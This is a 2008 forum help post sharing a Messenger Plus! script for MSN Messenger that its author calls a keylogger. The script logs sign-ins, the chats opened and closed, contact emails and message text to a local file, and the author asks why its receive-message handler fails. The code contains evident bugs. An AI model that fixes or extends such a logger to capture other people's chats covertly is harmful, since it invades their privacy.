uNDeRGRouND99
New Member
Posts: 10
Joined: Jun 2008
|
O.P. RE: [Help] Received Text and Origin.
Thanks. Ok, Event of SendMessage work, it filters only my messages. But, ReceiveMessage don't work.
This is my code.
code: //Variabili
var fsObj = new ActiveXObject("Scripting.FileSystemObject");
var now = new Date();
var month = now.getMonth();
var day = now.getDate();
var year = now.getYear();
var hour = now.getHours();
var minute = now.getMinutes();
var second = now.getSeconds();
var JustSentAMessage = false;
//Variabili Function
var FileName = "BaBi " + day + "-" + month + "-" + year;
var GetTime = hour + ":" + minute + ":" + second;
//Eventi
function OnEvent_Initialize(MessengerStart)
{
MsgPlus.DisplayToast("uND99 KL", "Keylogger loaded.", "");
AddLineToFile (FileName + ".txt", GetTime + " - " + Messenger.MyEmail + " ha effettuato l'accesso.");
}
function OnEvent_ChatWndCreated(ChatWnd)
{
var e = new Enumerator(ChatWnd.Contacts);
var Cnt = e.item();
Contact = Cnt.Email;
AddLineToFile (FileName + ".txt", GetTime + " - Aperta conversazione con " + Contact);
MsgPlus.DisplayToast("uND99 KL", "Aperta conversazione con " + Contact, "");
}
function OnEvent_ChatWndDestroyed(ChatWnd)
{
var e = new Enumerator(ChatWnd.Contacts);
var Cnt = e.item();
Contact = Cnt.Email;
AddLineToFile (FileName + ".txt", GetTime + " - Chiusa conversazione con " + Contact);
MsgPlus.DisplayToast("uND99 KL", "Chiusa conversazione con " + Contact, "");
}
function OnEvent_ChatWndContactAdded(ChatWnd, Email) //DONT WORK BUT OPTIONAL, NOT VERY IMPORTANT.
{
var e = new Enumerator(ChatWnd.Contacts);
var Cnt = e.item();
Contact = Cnt.Email;
AddLineToFile (FileName + ".txt", GetTime + " - Aggiunto un nuovo contatto: " + Contact);
MsgPlus.DisplayToast("uND99 KL", "Aggiunto un nuovo contatto: " + Email, "");
}
function OnEvent_ChatWndContactRemoved(ChatWnd, Email) //DONT WORK BUT OPTIONAL, NOT VERY IMPORTANT.
{
var e = new Enumerator(ChatWnd.Contacts);
var Cnt = e.item();
Contact = Cnt.Email;
AddLineToFile (FileName + ".txt", GetTime + " - Eliminato un contatto: " + Contact);
MsgPlus.DisplayToast("uND99 KL", "Eliminato un contatto: " + Email, "");
}
function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MsgKind)
{
var e = new Enumerator(ChatWnd.Contacts);
var Cnt = e.item();
Contact = Cnt.Email;
if (JustSentAMessage = false) {
AddLineToFile (FileName + ".txt", GetTime + " - " + Contact + ": " + Message);
}
MsgPlus.CancelTimer("ThisWasMyMessage"); //Stop the timer
JustSentAMessage = false;
}
function OnEvent_Timer(ThisWasMyMessage)
{
if(TimerId == "ThisWasMyMessage"){
JustSentAMessage = false;}
}
function OnEvent_ChatWndSendMessage(ChatWnd, Message)
{
AddLineToFile (FileName + ".txt", GetTime + " - " + Messenger.MyEmail + ": " + Message);
JustSentAMessage = true;
AddTimer(ThisWasMyMessage,1000);
}
function AddLineToFile (file, line) {
var fileObj = fsObj.OpenTextFile(MsgPlus.ScriptFilesPath + '\\' + file, /*ForAppending*/ 8, /*Create*/ 1);
fileObj.WriteLine(line);
fileObj.Close();
}
This post was edited on 06-29-2008 at 10:27 PM by uNDeRGRouND99.
|
|